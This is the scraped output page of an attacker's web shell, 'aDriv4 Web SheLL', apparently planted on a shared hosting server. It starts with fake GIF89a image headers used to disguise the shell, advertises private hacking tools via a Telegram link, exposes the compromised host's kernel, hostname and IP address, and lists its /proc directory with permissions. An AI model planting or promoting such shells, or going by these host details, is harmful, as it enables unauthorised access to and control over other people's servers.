GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium90.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
 LiteSpeed
 63.250.38.10
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-06-20 09:14:14
.. dir - root/root 0755 2025-08-05 05:31:51
2107041 dir - vosyimcw/vosyimcw 0555 2025-08-21 03:32:50
2435971 dir - vosyimcw/vosyimcw 0555 2025-08-21 03:32:50
2517264 dir - vosyimcw/vosyimcw 0555 2025-08-21 03:32:50
2517270 dir - vosyimcw/vosyimcw 0555 2025-08-21 03:32:50
2518615 dir - vosyimcw/vosyimcw 0555 2025-08-21 03:32:50
2520064 dir - vosyimcw/vosyimcw 0555 2025-08-21 03:32:50
2521656 dir - vosyimcw/vosyimcw 0555 2025-08-21 03:32:50
2522850 dir - vosyimcw/vosyimcw 0555 2025-08-21 03:32:50
2535651 dir - vosyimcw/vosyimcw 0555 2025-08-21 03:32:50
2559153 dir - vosyimcw/vosyimcw 0555 2025-08-21 03:32:50
2559186 dir - vosyimcw/vosyimcw 0555 2025-08-21 03:32:50
2598251 dir - vosyimcw/vosyimcw 0555 2025-08-21 03:32:50
2599173 dir - vosyimcw/vosyimcw 0555 2025-08-21 03:32:50
acpi dir - root/root 0555 2025-06-20 09:14:17
bus dir - root/root 0555 2025-06-20 09:14:26
driver dir - root/root 0555 2025-08-21 03:32:56
fs dir - root/root 0555 2025-06-20 09:14:26
irq dir - root/root 0555 2025-06-20 09:14:26
kcare dir - root/root 0555 2025-08-21 03:32:56
lve dir - root/root 0555 2025-08-21 03:32:51
net link - vosyimcw/vosyimcw 0555 2025-08-21 03:32:56
scsi dir - root/root 0555 2025-06-20 09:14:26
self link - vosyimcw/vosyimcw 0555 2025-08-21 03:32:50
sys dir - root/root 0555 2025-06-20 09:14:15
sysvipc dir - root/root 0555 2025-08-21 03:32:56
thread-self link - vosyimcw/vosyimcw 0555 2025-08-21 03:32:51
tty dir - root/root 0555 2025-08-21 03:32:56
buddyinfo 0 B root/root 0444 2025-08-21 03:32:56
cgroups 0 B root/root 0444 2025-08-21 03:32:56
cmdline text/plain 0 B root/root 0444 2025-08-21 03:32:50
consoles 0 B root/root 0444 2025-08-21 03:32:56
cpuinfo text/plain 0 B root/root 0444 2025-08-21 03:32:51
crypto 0 B root/root 0444 2025-08-21 03:32:56
devices 0 B root/root 0444 2025-08-21 03:32:56
diskstats 0 B root/root 0444 2025-08-21 03:32:50
dma 0 B root/root 0444 2025-08-21 03:32:56
execdomains 0 B root/root 0444 2025-08-21 03:32:56
fb 0 B root/root 0444 2025-08-21 03:32:56
filesystems text/plain 0 B root/root 0444 2025-08-21 03:32:50
interrupts 0 B root/root 0444 2025-08-21 03:32:56
iomem 0 B root/root 0444 2025-08-21 03:32:56
ioports 0 B root/root 0444 2025-08-21 03:32:56
kallsyms 0 B root/root 0444 2025-06-20 09:14:26
kcore 128 TB root/root 0400 2025-06-20 09:14:17
key-users 0 B root/root 0444 2025-08-21 03:32:56
keys 0 B root/root 0444 2025-08-21 03:32:56
kmsg 0 B root/root 0400 2025-08-21 03:32:56
kpagecgroup 0 B root/root 0400 2025-08-21 03:32:56
kpagecount 0 B root/root 0400 2025-08-21 03:32:56
kpageflags 0 B root/root 0400 2025-08-21 03:32:56
loadavg text/plain 0 B root/root 0444 2025-08-21 03:32:54
locks 0 B root/root 0444 2025-08-21 03:32:56
mdstat 0 B root/root 0444 2025-08-21 03:32:56
meminfo text/plain 0 B root/root 0444 2025-08-21 03:32:56
misc 0 B root/root 0444 2025-08-21 03:32:56
modules 0 B root/root 0444 2025-08-21 03:32:56
mounts text/plain 0 B vosyimcw/vosyimcw 0444 2025-08-21 03:32:56
mtrr 0 B root/root 0644 2025-06-20 09:14:26
pagetypeinfo 0 B root/root 0400 2025-08-21 03:32:56
partitions 0 B root/root 0444 2025-08-21 03:32:56
sched_debug 0 B root/root 0444 2025-08-21 03:32:56
schedstat 0 B root/root 0444 2025-08-21 03:32:56
slabinfo 0 B root/root 0400 2025-08-21 03:32:56
softirqs 0 B root/root 0444 2025-08-21 03:32:56
stat text/plain 0 B root/root 0444 2025-08-21 03:32:50
swaps 0 B root/root 0444 2025-06-20 09:14:15
sysrq-trigger 0 B root/root 0200 2025-06-20 09:14:26
timer_list 0 B root/root 0400 2025-08-21 03:32:56
uptime text/plain 0 B root/root 0444 2025-08-21 03:32:56
version text/plain 0 B root/root 0444 2025-08-21 03:32:56
vmallocinfo 0 B root/root 0400 2025-08-21 03:32:56
vmstat 0 B root/root 0444 2025-08-21 03:32:56
zoneinfo 0 B root/root 0444 2025-08-21 03:32:56
© aDriv4